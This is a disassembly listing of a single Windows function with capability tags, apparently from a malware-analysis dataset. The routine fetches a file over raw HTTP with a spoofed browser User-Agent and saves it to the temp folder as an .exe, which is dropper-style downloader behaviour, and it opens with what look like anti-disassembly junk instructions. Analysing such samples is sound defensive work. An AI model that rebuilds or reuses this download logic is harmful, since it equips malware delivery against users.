Function at 0x10003b70
Capabilities:
Download and write a file
Get common file path
Get socket status
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x544
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x10003b8e
inc ebx
push edi
je 0x10003be7
pop eax
mov byte [ebp - 0x108], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 8], 0
mov byte [ebp - 0x30c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x30b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x2f
mov eax, dword [ebp + 8]
add eax, 7
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0
je 0x10003c11
mov ecx, dword [ebp - 0x530]
sub ecx, dword [ebp + 8]
sub ecx, 7
mov esi, dword [ebp + 8]
add esi, 7
lea edi, [ebp - 0x30c]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x10003c25
mov eax, dword [ebp + 8]
add eax, 7
push eax
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x3a
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.SHELL32.dll_StrChrA]
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0
jne 0x10003c60
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 8], 0x50
jmp 0x10003c90
mov edx, dword [ebp - 0x51c]
mov byte [edx], 0
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x51c]
add edx, 1
push edx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x528], 0
push 0x10015b06
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10003ce2
cmp dword [0x10016038], 0
je 0x10003ce2
mov eax, dword [0x10016038]
push eax
push 0x10015b06
call fcn.10005f00
add esp, 8
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
je 0x10003ce2
mov dword [ebp - 4], 1
cmp dword [ebp - 4], 0
jne 0x10003d11
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.10005f00
add esp, 8
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
jne 0x10003d11
xor eax, eax
jmp 0x10004148
mov byte [ebp - 0x514], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x513]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp - 4], 0
je 0x10003d4b
mov eax, dword [ebp + 8]
push eax
push str.GET__s_HTTP_1.1_r_n
lea ecx, [ebp - 0x514]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10003d84
cmp dword [ebp - 0x530], 0
je 0x10003d72
mov edx, dword [ebp - 0x530]
push edx
push str.GET__s_HTTP_1.1_r_n
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10003d84
push str.GET___HTTP_1.1_r_n
lea ecx, [ebp - 0x514]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Accept:___r_n
lea edx, [ebp - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.User_Agent:_Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.2__.NET_CLR_1.1.4322__.NET_CLR_2.0.50727__InfoPath.1__r_n
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 8], 0x50
jne 0x10003dda
lea ecx, [ebp - 0x108]
push ecx
push str.Host:__s_r_n
lea edx, [ebp - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x514]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10003e08
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x108]
push edx
push str.Host:__s:_d_r_n
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp + eax - 0x514]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
cmp dword [ebp - 4], 0
je 0x10003e30
push str.Proxy_Connection:_Keep_Alive_r_n
lea edx, [ebp - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10003e50
push str.Connection:_Keep_Alive_r_n
lea ecx, [ebp - 0x514]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp + eax - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.Cache_Control:_no_cache_r_n_r_n
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea ecx, [ebp - 0x514]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x514]
push edx
mov eax, dword [ebp - 0x528]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x520], 0
push 1
lea ecx, [ebp - 0x520]
push ecx
mov edx, dword [ebp - 0x528]
push edx
call fcn.10004610
add esp, 0xc
test eax, eax
jne 0x10003ec0
mov eax, dword [ebp - 0x528]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10004148
mov ecx, dword [ebp + 0xc]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._d.exe
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp + 0xc]
add ecx, eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0xffffffff
jne 0x10003f33
mov eax, dword [ebp - 0x528]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10004148
mov dword [ebp - 0x20c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x208]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x314], 0
xor ecx, ecx
mov dword [ebp - 0x310], ecx
cmp dword [ebp - 0x520], 0
jne 0x10003f73
mov dword [ebp - 0x314], 0xa
jmp 0x10003f7d
mov dword [ebp - 0x314], 0x2dc6c0
mov dword [ebp - 0x310], 0
push 0xffff
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x540], eax
mov edx, dword [ebp - 0x540]
mov dword [ebp - 0x518], edx
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x52c], eax
mov ecx, 1
test ecx, ecx
je 0x1000410e
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x53c], 0
jmp 0x10003fe4
mov edx, dword [ebp - 0x53c]
add edx, 1
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x20c]
jae 0x1000400b
mov ecx, dword [ebp - 0x53c]
mov edx, dword [ebp + ecx*4 - 0x208]
cmp edx, dword [ebp - 0x528]
jne 0x10004009
jmp 0x1000400b
jmp 0x10003fd5
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x20c]
jne 0x10004044
cmp dword [ebp - 0x20c], 0x40
jae 0x10004044
mov ecx, dword [ebp - 0x53c]
mov edx, dword [ebp - 0x528]
mov dword [ebp + ecx*4 - 0x208], edx
mov eax, dword [ebp - 0x20c]
add eax, 1
mov dword [ebp - 0x20c], eax
xor ecx, ecx
test ecx, ecx
jne 0x10003fc9
lea edx, [ebp - 0x314]
push edx
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 0x528]
add ecx, 1
push ecx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x10004079
jmp 0x1000410e
push 0
push 0xffff
mov edx, dword [ebp - 0x518]
push edx
mov eax, dword [ebp - 0x528]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0
jg 0x100040a5
jmp 0x1000410e
mov dword [ebp - 0x534], 0
push 0
lea ecx, [ebp - 0x534]
push ecx
mov edx, dword [ebp - 0x538]
push edx
mov eax, dword [ebp - 0x518]
push eax
mov ecx, dword [ebp - 0x524]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
cmp dword [ebp - 0x520], 0
je 0x10004109
mov edx, dword [ebp - 0x52c]
sub edx, dword [ebp - 0x538]
mov dword [ebp - 0x52c], edx
cmp dword [ebp - 0x52c], 0
jg 0x10004109
jmp 0x1000410e
jmp 0x10003fb2
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x544], eax
mov ecx, dword [ebp - 0x544]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x524]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x528]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret